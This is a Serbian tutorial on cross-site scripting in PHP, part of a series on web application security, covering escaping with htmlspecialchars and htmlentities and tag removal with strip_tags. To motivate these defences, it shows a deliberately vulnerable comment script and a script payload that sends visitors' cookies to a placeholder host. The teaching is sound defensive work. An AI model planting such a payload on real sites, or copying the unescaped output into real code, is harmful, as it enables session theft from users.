Ovo je četvrti u seriji članaka o sigurnosti PHP aplikacija. Pogledajte Sigurnost PHP aplikacija, Osnove sigurnosti i Validacija i filtriranje inputa

XSS je tip sigurnosnih propusta koji je karakterističan za web aplikacije koji omogućava napadaču da ubaci kôd koji se izvršava na klijentskoj strani (JavaScript, ActiveX, HTML) u našu web stranicu. Cilj ovakvog napada je dobijanje osetljivih podataka kao što su korisničke sesije (cookie), odvođenje na drugu stranicu ili bilo koji drugi cilj koji se može postići izvršenjem koda na korisničkoj strani.

XSS-u su najčešće podložne web aplikacije koje ispisuju korisnički sadržaj – na primer: forumi, knjige gostiju, komentari članova i druge.

Sledeći primer opisuje XSS napad na stranicu koja ispisuje komentare članova. Ukoliko bi imali formu za upis komentara sličnu ovoj:

<form action="komentar.php" method="POST" />
    Vaše ime: <input type="text" name="ime" /><br />
    Komentar: <textarea name="komentar" rows="10" cols="60"></textarea><br />
    <input type="submit" value="Upišite komentar" />
</form>

i PHP skriptu koja ispisuje komentar

<?php
echo "<p>$ime je napisao:<br />";
echo $komentar ."</p>";
?>

definitivno bi imali ozbiljan sigurnosni propust. Korisnik može upisati komentar, ali i dodati HTML i JavaScript koji neće biti vidljiv od strane drugih korisnika. Komentar sa kojim napadač može ukrasti podatke o sesiji, koji se čuvaju u cookiu je sledeći:

<script>
	document.location = 'http://www.example.com/ukradi.php?kolacic=' +
      document.cookie
</script>

Ako bi bilo koji korisnik posetio ovu stranu, koja sadrži komentar sa ovim kôdom, biće preusmeren na drugu adresu. Ne samo da će svi naši korisnici otići na neki drugi sajt, već će napadač moći da pristupi našim kolačićima preko GET metode.
U zavisnosti od naših potreba, postoji više rešenja i više različitih PHP funkcija koje nam mogu pomoći.

HTML entiteti

Jedno od rešenja za XSS je da specijalne HTML karaktere (<, >, ‘, “, &) konvertujemo u njihove tekstualne entitete (&lt;, &gt;, &apos;, &quot;, &amp; ) i tako možemo biti sigurni da će HTML kôd biti ispisan onako kako je unet, pa tako i JavaScript neće biti izvšen.
PHP poseduje dve funkcije koje konvertuju HTML tagove u entitete. Jedna od njih je htmlspecialchars koja konvertuje gore navedene HTML tagove u odgovarajuće entitete:

<?php
$komentar = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
echo $komentar; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

Odnosno, zaštita za našu skriptu za ispis komentara bi bila:

<?php
// konvertovanje outputa
$ime = htmlspecialchars($ime);
$komentar = htmlspecialchars($komentar);

echo "<p>$ime je napisao:<br />";
echo $komentar ."</p>";
?>

Druga funkcija je htmlentities koja konvertuje sve specijalne karaktere u svoje entitete, kao što su ©, », € i druge.

Izbacivanje HTML tagova

Drugi način sprečavanja XSS-a je izbacivanje HTML tagova iz komentara. Za ovo je potrebna vrlo jednostavna funkcija – strip_tags koja jednostavno briše sve HTML i PHP tagove i ostavlja čist tekst.

<?php
$komentar = '<p>Tekst u paragrafu.</p><!-- Komentar --> <a href="# ">Link</a>';
echo strip_tags($komentar);
?>

]

U ovom slučaju, svi html tagovi će biti izbačeni i biće ispisan samo sledeći tekst:

Tekst u paragrafu. Link

strip_tags ima još jednu mogućnost, a to je da izostavi tagove koje ne želimo da izbacimo. Na primer, ukoliko želimo da omogućimo korisnicima da koriste jednostvno formatiranje teksta, kao na primer: bold, em i sl, možemo koristiti:

strip_tags($komentar, '<strong><em><u>');

Međutim, moramo uzeti u obzir da se JavaScript može izvršiti unutar bilo kojeg taga, korišćenjem atributa onLoad ili onClick i sličnih, pa stoga ovakvo filtriranje može predstavljati sigurnosni rizik.

P.S. Sledeći tekst o sigurnosti PHP aplikacija biće o SQL injection-u. Stay tuned 🙂